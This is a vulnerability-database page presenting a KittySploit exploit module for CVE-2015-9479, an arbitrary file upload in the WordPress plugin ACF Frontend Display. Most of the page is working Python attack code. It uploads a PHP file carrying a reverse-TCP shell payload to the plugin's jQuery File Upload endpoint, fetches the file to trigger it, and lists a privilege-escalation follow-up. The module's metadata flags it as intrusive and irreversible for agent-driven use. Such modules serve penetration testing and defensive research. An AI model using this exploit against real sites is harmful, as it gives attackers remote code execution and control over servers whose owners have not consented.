Lucene search
+L

Wordpress Plugin ACF Frontend Display

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 5 Views

Arbitrary file upload in ACF Frontend Display for WordPress via an upload request.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

class Module(Exploit, Http_client, Wordpress):

    __info__ = {
        "name": "Wordpress Plugin ACF Frontend Display",
        "description": "Wordpress Plugin ACF Frontend Display <= 2.0.6 - Arbitrary File Upload"\
                        "The ACF-Frontend-Display plugin through 2015-07-03 for WordPress has arbitrary "\
                        "file upload via an action=upload request to js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php.",
        "cve": "2015-9479",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
            },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }	
    
    var_years = OptString("2022", "var years for run php file", "yes")

    def _wp_base(self):
        return self.wp_normalize_base_path(self.path)
    
    def run(self):
        
        filename = self.random_text(8)+".php"
        files = {'files': (filename, "<?php "+self.payload+"?>", "multipart/form-data")}
        
        data = {
                'action': 'upload',
                }
        
        r = self.http_request(
                        method="POST",
                        path=self.wp_plugin_path(
                            self._wp_base(),
                            "acf-frontend-display",
                            "js",
                            "blueimp-jQuery-File-Upload-d45deb1",
                            "server",
                            "php",
                            "index.php",
                        ),
                        data=data,
                        files=files
        )
        if r:
            print_success("Shell uploaded")
            print_status("Trying to connect...")
            pwn = self.http_request(
                                method="GET",
                                path=f"{self._wp_base()}/wp-content/uploads/uigen_{self.var_years}/{filename}"
            )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation